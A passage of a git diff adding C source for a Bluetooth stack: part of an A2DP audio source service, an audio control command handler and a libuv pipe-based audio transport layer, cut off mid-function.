&size); + if (!ret) { + BT_LOGE("A2DP codec_offload_start_builder failed"); + break; + } + + event->event = OFFLOAD_START_REQ; + free(event->event_data.data); + event->event_data.data = malloc(size); + event->event_data.size = size; + memcpy(event->event_data.data, param, size); + break; + } + + case STREAM_CLOSED_EVT: + case STREAM_SUSPENDED_EVT: { + a2dp_offload_config_t config = { 0 }; + uint8_t param[OFFLOAD_START_REQ]; + bool ret; + size_t size; + + if (!g_a2dp_source.offloading) { + break; + } + + ret = a2dp_codec_get_offload_config(&config); + if (!ret) { + BT_LOGE("A2DP codec_get_offload_config failed"); + break; + } + + ret = a2dp_offload_stop_builder(&config, param, &size); + if (!ret) { + BT_LOGE("A2DP codec_offload_stop_builder failed"); + break; + } + + do_in_a2dp_service(a2dp_event_new_ext(OFFLOAD_STOP_REQ, &event->event_data.bd_addr, param, size)); + break; + } + default: + break; + } +} + +static void a2dp_service_handle_event(void* data) +{ + a2dp_event_t* event = data; + + /* msg cleanup ? */ + if (!g_a2dp_source.enabled && event->event != A2DP_STARTUP) { + a2dp_event_destory(event); + return; + } + + switch (event->event) { + case A2DP_STARTUP: + source_startup(event->event_data.cb); + break; + case A2DP_SHUTDOWN: + source_shutdown(event->event_data.cb); + break; + case CODEC_CONFIG_EVT: { + a2dp_codec_config_t* config; + a2dp_device_t* device; + + device = find_or_create_device(&event->event_data.bd_addr); + if (device == NULL) { + break; + } + + config = event->event_data.data; + BT_LOGD("CODEC_CONFIG_EVT : codec_type: %d, sample_rate: %" PRIu32 ", bits_per_sample: %d, channel_mode: %d", + config->codec_type, + config->sample_rate, + config->bits_per_sample, + config->channel_mode); + save_a2dp_codec_config(&device->peer, config); + break; + } + case STREAM_MTU_CONFIG_EVT: { + a2dp_device_t* device = find_or_create_device(&event->event_data.bd_addr); + if (device == NULL) { + break; + } + + device->peer.mtu = event->event_data.mtu; + BT_LOGD("STREAM_MTU_CONFIG_EVT :%d", device->peer.mtu); + a2dp_codec_update_config(SEP_SNK, &device->peer.codec_config, device->peer.mtu); + break; + } + default: { + a2dp_state_machine_t* a2dp_sm; + + a2dp_sm = get_state_machine(&event->event_data.bd_addr); + if (!a2dp_sm) { + break; + } + + a2dp_service_prepare_handle(a2dp_sm, event); + a2dp_state_machine_handle_event(a2dp_sm, event); + break; + } + } + + a2dp_event_destory(event); +} + +void do_in_a2dp_service(a2dp_event_t* a2dp_event) +{ + if (a2dp_event == NULL) + return; + + do_in_service_loop(a2dp_service_handle_event, a2dp_event); +} + +void bt_sal_a2dp_source_event_callback(a2dp_event_t* event) +{ + do_in_a2dp_service(event); +} + +a2dp_peer_t* a2dp_source_active_peer(void) +{ + return get_active_peer(); +} + +a2dp_peer_t* a2dp_source_find_peer(bt_address_t* addr) +{ + a2dp_device_t* device = find_a2dp_device_by_addr(&g_a2dp_source.list, addr); + + if (!device) + return NULL; + + return &device->peer; +} + +void a2dp_source_stream_start(void) +{ + a2dp_peer_t* peer = a2dp_source_active_peer(); + if (!peer) + return; + + do_in_a2dp_service(a2dp_event_new(STREAM_START_REQ, peer->bd_addr)); +} + +void a2dp_source_stream_prepare_suspend(void) +{ + a2dp_audio_prepare_suspend(SEP_SNK); +} + +void a2dp_source_stream_stop(void) +{ + a2dp_peer_t* peer = a2dp_source_active_peer(); + if (!peer) + return; + + do_in_a2dp_service(a2dp_event_new(STREAM_SUSPEND_REQ, peer->bd_addr)); +} + +bool a2dp_source_stream_ready(void) +{ + a2dp_state_machine_t* a2dp_sm; + a2dp_state_t state; + a2dp_peer_t* peer = a2dp_source_active_peer(); + if (!peer) + return false; + + a2dp_sm = get_state_machine(peer->bd_addr); + if (!a2dp_sm) + return false; + + state = a2dp_state_machine_get_state(a2dp_sm); + if (state == A2DP_STATE_OPENED || state == A2DP_STATE_STARTED) + return true; + + return false; +} + +bool a2dp_source_stream_started(void) +{ + a2dp_state_machine_t* a2dp_sm; + a2dp_peer_t* peer = a2dp_source_active_peer(); + if (!peer) + return false; + + a2dp_sm = get_state_machine(peer->bd_addr); + if (!a2dp_sm) + return false; + + if (a2dp_state_machine_is_pending_stop(a2dp_sm)) + return false; + + return a2dp_state_machine_get_state(a2dp_sm) == A2DP_STATE_STARTED; +} + +void a2dp_source_codec_state_change(void) +{ + a2dp_peer_t* peer = a2dp_source_active_peer(); + if (!peer) + return; + + do_in_a2dp_service(a2dp_event_new(DEVICE_CODEC_STATE_CHANGE_EVT, peer->bd_addr)); +} + +// show Device[1]: Addr: 04:7F:0E:00:00:1B, State: Opened, Active: true +static int a2dp_source_dump(void) +{ + a2dp_device_t* device; + struct list_node* node; + int i = 0; + uint8_t is_active; + const char* state; + list_for_every(&g_a2dp_source.list, node) + { + i++; + device = (a2dp_device_t*)node; + if (memcmp(&device->bd_addr, g_a2dp_source.active_peer, 6) == 0) + is_active = 1; + else + is_active = 0; + state = a2dp_state_machine_current_state(device->a2dp_sm); + BT_LOGD("\tDevice[%d]: Addr: %s, State: %s, Active: %s\n", i, + bt_addr_str(&device->bd_addr), state, is_active ? "true" : "false"); + } + if (i == 0) + BT_LOGE("\tNo A2dp Sink device found\n"); + + return 0; +} + +static bt_status_t a2dp_source_init(void) +{ + g_a2dp_source.callbacks = bt_callbacks_list_new(CONFIG_BLUETOOTH_MAX_REGISTER_NUM); + + return BT_STATUS_SUCCESS; +} + +static void a2dp_source_cleanup(void) +{ + g_a2dp_source.active_peer = NULL; + + bt_callbacks_list_free(g_a2dp_source.callbacks); + g_a2dp_source.callbacks = NULL; +} + +static void source_startup(void* data) +{ + profile_on_startup_t on_startup = (profile_on_startup_t)data; + + list_initialize(&g_a2dp_source.list); + if (bt_sal_a2dp_source_init(A2DP_MAX_CONNECTION) != BT_STATUS_SUCCESS) { + list_delete(&g_a2dp_source.list); + on_startup(PROFILE_A2DP, false); + return; + } + + a2dp_audio_init(SVR_SOURCE, g_a2dp_source.offloading); + g_a2dp_source.enabled = true; + on_startup(PROFILE_A2DP, true); +} + +static bt_status_t a2dp_source_startup(profile_on_startup_t cb) +{ + if (g_a2dp_source.enabled) { + return BT_STATUS_BUSY; + } + + a2dp_event_t* evt = a2dp_event_new(A2DP_STARTUP, NULL); + evt->event_data.cb = cb; + do_in_a2dp_service(evt); + + return BT_STATUS_SUCCESS; +} + +static void source_shutdown(void* data) +{ + a2dp_device_t* device; + struct list_node* node; + struct list_node* tmp; + profile_on_shutdown_t on_shutdown = (profile_on_shutdown_t)data; + + g_a2dp_source.enabled = false; + a2dp_audio_cleanup(SVR_SOURCE); + list_for_every_safe(&g_a2dp_source.list, node, tmp) + { + device = (a2dp_device_t*)node; + a2dp_device_delete(device); + } + list_delete(&g_a2dp_source.list); + bt_sal_a2dp_source_cleanup(); + g_a2dp_source.active_peer = NULL; + on_shutdown(PROFILE_A2DP, true); +} + +static bt_status_t a2dp_source_shutdown(profile_on_shutdown_t cb) +{ + if (!g_a2dp_source.enabled) { + return BT_STATUS_SUCCESS; + } + + a2dp_event_t* evt = a2dp_event_new(A2DP_SHUTDOWN, NULL); + evt->event_data.cb = cb; + do_in_a2dp_service(evt); + + return BT_STATUS_SUCCESS; +} + +static void a2dp_source_process_msg(profile_msg_t* msg) +{ + switch (msg->event) { + case PROFILE_EVT_A2DP_OFFLOADING: + g_a2dp_source.offloading = msg->data.valuebool; + break; + case PROFILE_EVT_REMOTE_DETACH: { + bt_instance_t* ins = msg->data.data; + + if (ins->a2dp_source_cookie) { + BT_LOGD("%s PROFILE_EVT_REMOTE_DETACH", __func__); + a2dp_source_unregister_callbacks(NULL, ins->a2dp_source_cookie); + ins->a2dp_source_cookie = NULL; + } + break; + } + default: + break; + } +} + +void a2dp_source_service_notify_connection_state_changed( + bt_address_t* addr, profile_connection_state_t state) +{ + BT_LOGD("%s", __FUNCTION__); + A2DP_SOURCE_CALLBACK_FOREACH(g_a2dp_source.callbacks, connection_state_cb, addr, state); +} + +void a2dp_source_service_notify_audio_state_changed( + bt_address_t* addr, a2dp_audio_state_t state) +{ + BT_LOGD("%s", __FUNCTION__); + A2DP_SOURCE_CALLBACK_FOREACH(g_a2dp_source.callbacks, audio_state_cb, addr, state); +} + +void a2dp_source_service_notify_audio_source_config_changed( + bt_address_t* addr) +{ + BT_LOGD("%s", __FUNCTION__); + A2DP_SOURCE_CALLBACK_FOREACH(g_a2dp_source.callbacks, audio_source_config_cb, addr); +} + +static void* a2dp_source_register_callbacks(void* remote, const a2dp_source_callbacks_t* callbacks) +{ + return bt_remote_callbacks_register(g_a2dp_source.callbacks, remote, (void*)callbacks); +} + +static bool a2dp_source_unregister_callbacks(void** remote, void* cookie) +{ + return bt_remote_callbacks_unregister(g_a2dp_source.callbacks, remote, cookie); +} + +static bool a2dp_source_is_connected(bt_address_t* addr) +{ + if (!g_a2dp_source.enabled) { + return false; + } + + a2dp_device_t* device = find_a2dp_device_by_addr(&g_a2dp_source.list, addr); + if (!device) { + return false; + } + + profile_connection_state_t state = a2dp_state_machine_get_connection_state(device->a2dp_sm); + + return state == PROFILE_STATE_CONNECTED; +} + +static bool a2dp_source_is_playing(bt_address_t* addr) +{ + if (!g_a2dp_source.enabled) { + return false; + } + + a2dp_device_t* device = find_a2dp_device_by_addr(&g_a2dp_source.list, addr); + if (!device) { + return false; + } + + a2dp_state_t state = a2dp_state_machine_get_state(device->a2dp_sm); + return state == A2DP_STATE_STARTED; +} + +static profile_connection_state_t a2dp_source_get_connection_state(bt_address_t* addr) +{ + if (!g_a2dp_source.enabled) { + return PROFILE_STATE_DISCONNECTED; + } + + a2dp_device_t* device = find_a2dp_device_by_addr(&g_a2dp_source.list, addr); + if (!device) { + return PROFILE_STATE_DISCONNECTED; + } + + profile_connection_state_t state = a2dp_state_machine_get_connection_state(device->a2dp_sm); + return state; +} + +static bt_status_t a2dp_source_connect(bt_address_t* addr) +{ + if (!g_a2dp_source.enabled) { + return PROFILE_STATE_DISCONNECTED; + } + + do_in_a2dp_service(a2dp_event_new(CONNECT_REQ, addr)); + + return BT_STATUS_SUCCESS; +} + +static bt_status_t a2dp_source_disconnect(bt_address_t* addr) +{ + if (!g_a2dp_source.enabled) { + return PROFILE_STATE_DISCONNECTED; + } + + do_in_a2dp_service(a2dp_event_new(DISCONNECT_REQ, addr)); + + return BT_STATUS_SUCCESS; +} + +static bt_status_t a2dp_source_set_silence_device(bt_address_t* addr, bool silence) +{ + return BT_STATUS_SUCCESS; +} + +static bt_status_t a2dp_source_set_active_device(bt_address_t* addr) +{ + return BT_STATUS_SUCCESS; +} + +static int a2dp_src_get_state(void) +{ + return 1; +} + +static const a2dp_source_interface_t a2dp_sourceInterface = { + .size = sizeof(a2dp_sourceInterface), + .register_callbacks = a2dp_source_register_callbacks, + .unregister_callbacks = a2dp_source_unregister_callbacks, + .is_connected = a2dp_source_is_connected, + .is_playing = a2dp_source_is_playing, + .get_connection_state = a2dp_source_get_connection_state, + .connect = a2dp_source_connect, + .disconnect = a2dp_source_disconnect, + .set_silence_device = a2dp_source_set_silence_device, + .set_active_device = a2dp_source_set_active_device, +}; + +static const void* get_a2dp_source_profile_interface(void) +{ + return (void*)&a2dp_sourceInterface; +} + +static const profile_service_t a2dp_source_service = { + .auto_start = true, + .name = PROFILE_A2DP_NAME, + .id = PROFILE_A2DP, + .transport = BT_TRANSPORT_BREDR, + .uuid = BT_UUID_DECLARE_16(BT_UUID_A2DP_SRC), + .init = a2dp_source_init, + .startup = a2dp_source_startup, + .shutdown = a2dp_source_shutdown, + .process_msg = a2dp_source_process_msg, + .get_state = a2dp_src_get_state, + .get_profile_interface = get_a2dp_source_profile_interface, + .cleanup = a2dp_source_cleanup, + .dump = a2dp_source_dump, +}; + +void register_a2dp_source_service(void) +{ + register_service(&a2dp_source_service); +} diff --git a/service/profiles/audio_interface/audio_control.c b/service/profiles/audio_interface/audio_control.c new file mode 100644 index 0000000000000000000000000000000000000000..40e426b54db2f818e77dcda41f56f57b6a706a58 --- /dev/null +++ b/service/profiles/audio_interface/audio_control.c @@ -0,0 +1,259 @@ +/**************************************************************************** + * Copyright (C) 2024 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#define LOG_TAG "audio_control" + +/**************************************************************************** + * Included Files + ****************************************************************************/ +#include "audio_control.h" +#include "audio_transport.h" +#include "bt_config.h" +#include "bt_profile.h" +#include "bt_utils.h" +#include "hfp_ag_service.h" +#include "hfp_hf_service.h" +#include "service_loop.h" +#include "utils/log.h" + +#ifdef CONFIG_BLUETOOTH_A2DP +#include "a2dp_control.h" +#endif + +/**************************************************************************** + * Pre-processor Definitions + ****************************************************************************/ +#define CTRL_EVT_HEADER_LEN 1 + +/**************************************************************************** + * Private Data + ****************************************************************************/ +static audio_transport_t* g_audio_ctrl_transport; + +static const char* audio_cmd_to_string(audio_ctrl_cmd_t cmd) +{ + switch (cmd) { + CASE_RETURN_STR(AUDIO_CTRL_CMD_START) + CASE_RETURN_STR(AUDIO_CTRL_CMD_STOP) + CASE_RETURN_STR(AUDIO_CTRL_CMD_CONFIG_DONE) + default: + return "UNKNOWN_CMD"; + } +} + +static const char* audio_event_to_string(audio_ctrl_evt_t event) +{ + switch (event) { + CASE_RETURN_STR(AUDIO_CTRL_EVT_STARTED) + CASE_RETURN_STR(AUDIO_CTRL_EVT_START_FAIL) + CASE_RETURN_STR(AUDIO_CTRL_EVT_STOPPED) + CASE_RETURN_STR(AUDIO_CTRL_EVT_UPDATE_CONFIG) + default: + return "UNKNOWN_EVENT"; + } +} + +static void audio_ctrl_event_with_data(uint8_t ch_id, audio_ctrl_evt_t event, uint8_t* data, uint8_t data_len) +{ + uint8_t stream[128]; + uint8_t* p = stream; + + BT_LOGD("%s, event:%s", __func__, audio_event_to_string(event)); + + UINT8_TO_STREAM(p, event); + if (data_len) { + ARRAY_TO_STREAM(p, data, data_len); + } + + if (g_audio_ctrl_transport != NULL) { + audio_transport_write(g_audio_ctrl_transport, ch_id, stream, data_len + CTRL_EVT_HEADER_LEN, NULL); + } +} + +void audio_ctrl_send_control_event(uint8_t profile_id, audio_ctrl_evt_t evt) +{ + switch (profile_id) { + case PROFILE_HFP_AG: + case PROFILE_HFP_HF: + audio_ctrl_event_with_data(CONFIG_BLUETOOTH_AUDIO_TRANS_ID_HFP_CTRL, evt, NULL, 0); + break; + case PROFILE_A2DP: +#ifdef CONFIG_BLUETOOTH_A2DP + a2dp_control_event(CONFIG_BLUETOOTH_AUDIO_TRANS_ID_SOURCE_CTRL, evt); +#endif + /** + * TODO: replace a2dp_control_event() by audio_ctrl_event_with_data(). + * + * Currently the A2DP control channel is recorded by a2dp_transport rather than g_audio_ctrl_transport. + * It's ineffective to send the message via audio_ctrl_event_with_data(). + */ + break; + default: + BT_LOGW("%s, unknown profile id: %d", __func__, profile_id); + /* Use a default control channel, currently via CONFIG_BLUETOOTH_AUDIO_TRANS_ID_HFP_CTRL */ + audio_ctrl_event_with_data(CONFIG_BLUETOOTH_AUDIO_TRANS_ID_HFP_CTRL, evt, NULL, 0); + break; + } +} + +static void audio_recv_ctrl_data(uint8_t ch_id, audio_ctrl_cmd_t cmd) +{ + BT_LOGD("%s: audio-ctrl-cmd : %s", __func__, audio_cmd_to_string(cmd)); + + switch (cmd) { + case AUDIO_CTRL_CMD_START: +#ifdef CONFIG_BLUETOOTH_HFP_HF + if (hfp_hf_on_sco_start()) + break; +#endif +#ifdef CONFIG_BLUETOOTH_HFP_AG + if (hfp_ag_on_sco_start()) + break; +#endif + /* TODO: Parse the payload to determine an active profile */ + BT_LOGD("%s: active profile not found", __func__); + audio_ctrl_send_control_event(PROFILE_MAX, AUDIO_CTRL_EVT_START_FAIL); + break; + case AUDIO_CTRL_CMD_STOP: +#ifdef CONFIG_BLUETOOTH_HFP_HF + if (hfp_hf_on_sco_stop()) + break; +#endif +#ifdef CONFIG_BLUETOOTH_HFP_AG + if (hfp_ag_on_sco_stop()) + break; +#endif + /* TODO: Parse the payload to determine an active profile */ + BT_LOGD("%s: active profile not found", __func__); + audio_ctrl_send_control_event(PROFILE_MAX, AUDIO_CTRL_EVT_STOPPED); + break; + default: + BT_LOGD("%s: UNSUPPORTED CMD (%d)", __func__, cmd); + break; + } +} + +static void audio_ctrl_buffer_alloc(uint8_t ch_id, uint8_t** buffer, size_t* len) +{ + *len = 128; + *buffer = malloc(*len); +} + +static void audio_ctrl_data_received(uint8_t ch_id, uint8_t* buffer, ssize_t len) +{ + audio_ctrl_cmd_t cmd; + uint8_t* pbuf = buffer; + + if (!g_audio_ctrl_transport) + goto free_out; + + if (len < 0) { + audio_transport_read_stop(g_audio_ctrl_transport, ch_id); + } + + if (len <= 0) + goto free_out; + + while (len) { + /* get cmd code*/ + STREAM_TO_UINT8(cmd, pbuf); + len--; + /* process cmd*/ + audio_recv_ctrl_data(ch_id, cmd); + } + +free_out: + /* free the buffer alloced by a2dp_ctrl_buffer_alloc */ + free(buffer); +} + +static void audio_ctrl_start(void) +{ + if (!g_audio_ctrl_transport) + return; + + /* TODO: check which profile to start */ + audio_transport_read_start(g_audio_ctrl_transport, CONFIG_BLUETOOTH_AUDIO_TRANS_ID_HFP_CTRL, + audio_ctrl_buffer_alloc, audio_ctrl_data_received); +} + +static void audio_ctrl_stop(void) +{ + if (!g_audio_ctrl_transport) + return; + + /* TODO: check which profile to stop */ + audio_transport_read_stop(g_audio_ctrl_transport, CONFIG_BLUETOOTH_AUDIO_TRANS_ID_HFP_CTRL); +} + +static void audio_ctrl_cb(uint8_t ch_id, audio_transport_event_t event) +{ + BT_LOGD("%s, ch_id:%d, event:%s", __func__, ch_id, audio_transport_dump_event(event)); + + if (ch_id != CONFIG_BLUETOOTH_AUDIO_TRANS_ID_HFP_CTRL) { + /* TODO: support other profiles */ + BT_LOGE("fail, ch_id:%d", ch_id); + return; + } + + switch (event) { + case TRANSPORT_OPEN_EVT: + audio_ctrl_start(); + break; + + case TRANSPORT_CLOSE_EVT: + audio_ctrl_stop(); + break; + + default: + BT_LOGD("%s: ### EVENT %d NOT HANDLED ###", __func__, event); + break; + } +} + +bt_status_t audio_ctrl_init(void) +{ + BT_LOGI("%s, enter", __func__); + + if (g_audio_ctrl_transport) { + BT_LOGD("%s, repeated attempt", __func__); + return BT_STATUS_SUCCESS; + } + + g_audio_ctrl_transport = audio_transport_init(get_service_uv_loop()); + if (!audio_transport_open(g_audio_ctrl_transport, CONFIG_BLUETOOTH_AUDIO_TRANS_ID_HFP_CTRL, + CONFIG_BLUETOOTH_SCO_CTRL_PATH, audio_ctrl_cb)) { + BT_LOGE("fail to open audio transport"); + goto error; + } + + BT_LOGI("%s, success", __func__); + + return BT_STATUS_SUCCESS; + +error: + audio_ctrl_cleanup(); + return BT_STATUS_FAIL; +} + +void audio_ctrl_cleanup(void) +{ + if (g_audio_ctrl_transport) { + audio_transport_close(g_audio_ctrl_transport, AUDIO_TRANS_CH_ID_ALL); + g_audio_ctrl_transport = NULL; + } + + BT_LOGI("%s, done", __func__); +} diff --git a/service/profiles/audio_interface/audio_transport.c b/service/profiles/audio_interface/audio_transport.c new file mode 100644 index 0000000000000000000000000000000000000000..4bf0f96a53f028bfc1c7c16eca359a962262b323 --- /dev/null +++ b/service/profiles/audio_interface/audio_transport.c @@ -0,0 +1,469 @@ +/**************************************************************************** + * + * Copyright (C) 2023 Xiaomi InC. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in + * the documentation and/or other materials provided with the + * distribution. + * 3. Neither the name NuttX nor the names of its contributors may be + * used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS + * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT + * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS + * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE + * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, + * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS + * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED + * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN + * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + * + ****************************************************************************/ +#define LOG_TAG "audio_transport" + +/**************************************************************************** + * Included Files + ****************************************************************************/ +#include <stdio.h> +#include <stdlib.h> + +#include "bt_utils.h" +#include "utils/log.h" + +#include "audio_transport.h" + +typedef struct { + void* ipc_handle; + uint8_t ch_id; + uint8_t closing; + uv_pipe_t* svr_pipe; + uv_pipe_t* cli_pipe; + transport_conn_state_t state; + transport_event_cb_t event_cb; +} transport_channel_t; + +typedef struct { + uv_write_t req; + uint8_t* buffer; + transport_channel_t* ch; + transport_write_cb_t write_cb; +} transport_write_t; + +typedef struct { + uint16_t read_size; + transport_channel_t* ch; + transport_alloc_cb_t alloc_cb; + transport_read_cb_t read_cb; +} transport_read_t; + +typedef struct _audio_transport { + uv_loop_t* loop; + uint8_t closing; + transport_channel_t ch[AUDIO_TRANS_CH_NUM]; +} audio_transport_t; + +const char* audio_transport_dump_event(uint8_t event) +{ + switch (event) { + CASE_RETURN_STR(TRANSPORT_OPEN_EVT) + CASE_RETURN_STR(TRANSPORT_CLOSE_EVT) + CASE_RETURN_STR(TRANSPORT_RX_DATA_EVT) + CASE_RETURN_STR(TRANSPORT_RX_DATA_READY_EVT) + CASE_RETURN_STR(TRANSPORT_TX_DATA_READY_EVT) + default: + return "UNKNOWN MSG ID"; + } +} + +static void transport_connection_close_cb(uv_handle_t* handle) +{ + transport_channel_t* ch = handle->data; + + free(handle); + if (ch->state == IPC_CONNTECTED) { + ch->state = IPC_DISCONNTECTED; + if (ch->event_cb) + ch->event_cb(ch->ch_id, TRANSPORT_CLOSE_EVT); + + if (!ch->closing && ch->ipc_handle) { + audio_transport_t* transport = ch->ipc_handle; + if (!transport->closing) + return; + + for (int i = 0; i < AUDIO_TRANS_CH_NUM; i++) { + ch = &transport->ch[i]; + if (ch->closing || ch->state != IPC_DISCONNTECTED) + return; + } + + BT_LOGI("%s transport freed:0x%p", __func__, transport); + free(transport); + } + } +} + +static void audio_transport_connection_close(transport_channel_t* ch) +{ + if (ch->cli_pipe) { + /* check client is reading before disconnect */ + if (ch->state == IPC_CONNTECTED && ch->cli_pipe->data) + audio_transport_read_stop(ch->ipc_handle, ch->ch_id); + + ch->cli_pipe->data = ch; + uv_close((uv_handle_t*)ch->cli_pipe, transport_connection_close_cb); + ch->cli_pipe = NULL; + } +} + +static void transport_chnl_close_cb(uv_handle_t* handle) +{ + transport_channel_t* ch = handle->data; + audio_transport_t* transport = NULL; + + free(handle); + ch->closing = 0; + if (ch->ipc_handle && ch->state == IPC_DISCONNTECTED) { + transport = ch->ipc_handle; + if (!transport->closing) + return; + + for (int i = 0; i < AUDIO_TRANS_CH_NUM; i++) { + ch = &transport->ch[i]; + if (ch->closing || ch->state != IPC_DISCONNTECTED) + return; + } + + BT_LOGI("%s transport freed:0x%p", __func__, transport); + free(transport); + } +} + +static void audio_transport_channel_close(transport_channel_t* ch) +{ + audio_transport_connection_close(ch); + + if (ch->svr_pipe) { + ch->closing = 1; + uv_close((uv_handle_t*)ch->svr_pipe, transport_chnl_close_cb); + ch->svr_pipe = NULL; + } +} + +static void transport_chnl_listen_cb(uv_stream_t* stream, int status) +{ + transport_channel_t* ch = stream->data; + int ret; + + if (status != 0) { + BT_LOGE("%s, status = %d", __func__, status); + return; + } + + ch->cli_pipe = malloc(sizeof(uv_pipe_t)); + ret = uv_pipe_init(stream->loop, ch->cli_pipe, 0); + if (ret != 0) { + free(ch->cli_pipe); + ch->cli_pipe = NULL; + BT_LOGE("client pipe init error %s", uv_strerror(ret)); + return; + } + + ret = uv_accept(stream, (uv_stream_t*)ch->cli_pipe); + if (ret != 0) { + BT_LOGE("accept error %s", uv_strerror(ret)); + audio_transport_connection_close(ch); + return; + } + + ch->cli_pipe->data = NULL; + ch->state = IPC_CONNTECTED; + if (ch->event_cb) + ch->event_cb(ch->ch_id, TRANSPORT_OPEN_EVT); +} + +static void transport_chnl_read_alloc_cb(uv_handle_t* handle, size_t suggested_size, + uv_buf_t* buf) +{ + transport_read_t* rreq = (transport_read_t*)handle->data; + (void)suggested_size; + + rreq->alloc_cb(rreq->ch->ch_id, (uint8_t**)&buf->base, &buf->len); + // buf->base = malloc(rreq->read_size); + // buf->len = rreq->read_size; +} + +static void transport_chnl_write_cb(uv_write_t* req, int status) +{ + transport_write_t* wreq = (transport_write_t*)req->data; + transport_channel_t* ch = wreq->ch; + uint8_t need_close = 0; + + if (status != 0) { + need_close = 1; + BT_LOGE("%s status:%d", __func__, status); + } + if (wreq->write_cb) + wreq->write_cb(ch->ch_id, wreq->buffer); + + free(wreq->buffer); + free(wreq); + + if (need_close) + audio_transport_connection_close(ch); +} + +static void transport_chnl_read_cb(uv_stream_t* stream, ssize_t nread, + const uv_buf_t* buf) +{ + transport_read_t* rreq = (transport_read_t*)stream->data; + transport_channel_t* ch = rreq->ch; + uint8_t need_close = 0; + + if (nread < 0) { + need_close = 1; + BT_LOGE("%s nread:%" PRIuPTR, __func__, nread); + } + + if (rreq->read_cb) + rreq->read_cb(ch->ch_id, (uint8_t*)buf->base, nread); + + if (need_close) + audio_transport_connection_close(ch); +} + +audio_transport_t* audio_transport_init(uv_loop_t* loop) +{ + audio_transport_t* transport; + + if (!loop) + return NULL; + + transport = (audio_transport_t*)zalloc(sizeof(audio_transport_t)); + if (!transport) { + BT_LOGE("%s malloc failed", __func__); + return NULL; + } + + transport->loop = loop; + for (uint8_t i = 0; i < AUDIO_TRANS_CH_NUM; i++) + transport->ch[i].state = IPC_DISCONNTECTED; + + return transport; +} + +bool audio_transport_open(audio_transport_t* transport, uint8_t ch_id, + const char* path, transport_event_cb_t cb) +{ + transport_channel_t* ch; + uv_fs_t fs; + int ret; + + if (ch_id >= AUDIO_TRANS_CH_NUM || !transport) + return false; + + ch = &transport->ch[ch_id]; + + if (ch->state == IPC_CONNTECTED) + return true; + + ch->cli_pipe = NULL; + ch->svr_pipe = malloc(sizeof(uv_pipe_t)); + ret = uv_pipe_init(transport->loop, ch->svr_pipe, 0); + if (ret != 0) { + free(ch->svr_pipe); + ch->svr_pipe = NULL; + BT_LOGE("server pipe init error %s", uv_strerror(ret)); + return false; + } + + ch->svr_pipe->data = ch; + ret = uv_fs_unlink(transport->loop, &fs, path, NULL); + if (ret != 0 && ret != UV_ENOENT) { + BT_LOGE("unlink error: %s", uv_strerror(ret)); + goto error; + } + +#ifndef CONFIG_BLUETOOTH_AUDIO_TRANS_RPSMG_SERVER + ret = uv_pipe_bind(ch->svr_pipe, path); +#else + ret = uv_pipe_rpmsg_bind(ch->svr_pipe, path, ""); +#endif + if (ret != 0) { + BT_LOGE("bind error: %s", uv_strerror(ret)); + goto error; + } + + ret = uv_listen((uv_stream_t*)ch->svr_pipe, 128, transport_chnl_listen_cb); + if (ret != 0) { + BT_LOGE("listen error: %s", uv_strerror(ret)); + goto error; + } + ch->ch_id = ch_id; + ch->event_cb = cb; + ch->ipc_handle = (void*)transport; + + BT_LOGD("%s path{%d}[%s] success", __func__, ch_id, path); + + return true; +error: + audio_transport_channel_close(ch); + return false; +} + +void audio_transport_close(audio_transport_t* transport, uint8_t ch_id) +{ + transport_channel_t* ch; + + if (!transport) + return; + + if (ch_id != AUDIO_TRANS_CH_ID_ALL) { + ch = &transport->ch[ch_id]; + audio_transport_channel_close(ch); + return; + } + + for (int i = 0; i < AUDIO_TRANS_CH_NUM; i++) { + ch = &transport->ch[i]; + audio_transport_channel_close(ch); + if (ch->closing || ch->state != IPC_DISCONNTECTED) + transport->closing = 1; + } + + if (!transport->closing) + free(transport); +} + +int audio_transport_write(audio_transport_t* transport, uint8_t ch_id, + const uint8_t* data, uint16_t len, + transport_write_cb_t cb) +{ + transport_write_t* wreq; + transport_channel_t* ch; + uv_buf_t uv_buf; + int ret; + + if (ch_id >= AUDIO_TRANS_CH_NUM || !transport) + return -EINVAL; + + ch = &transport->ch[ch_id]; + if (ch->state != IPC_CONNTECTED || !ch->cli_pipe) { + return -1; + } + wreq = (transport_write_t*)malloc(sizeof(transport_write_t)); + if (!wreq) { + BT_LOGE("write req alloc failed"); + return -ENOMEM; + } + uint8_t* tmpbuf = (uint8_t*)malloc(len); + if (!tmpbuf) { + free(wreq); + return -ENOMEM; + } + + memcpy(tmpbuf, data, len); + wreq->write_cb = cb; + wreq->ch = ch; + wreq->buffer = tmpbuf; + wreq->req.data = (void*)wreq; + + uv_buf = uv_buf_init((char*)tmpbuf, len); + ret = uv_write(&wreq->req, (uv_stream_t*)ch->cli_pipe, + &uv_buf, 1, + transport_chnl_write_cb); + if (ret != 0) { + BT_LOGE("write error: %s", uv_strerror(ret)); + 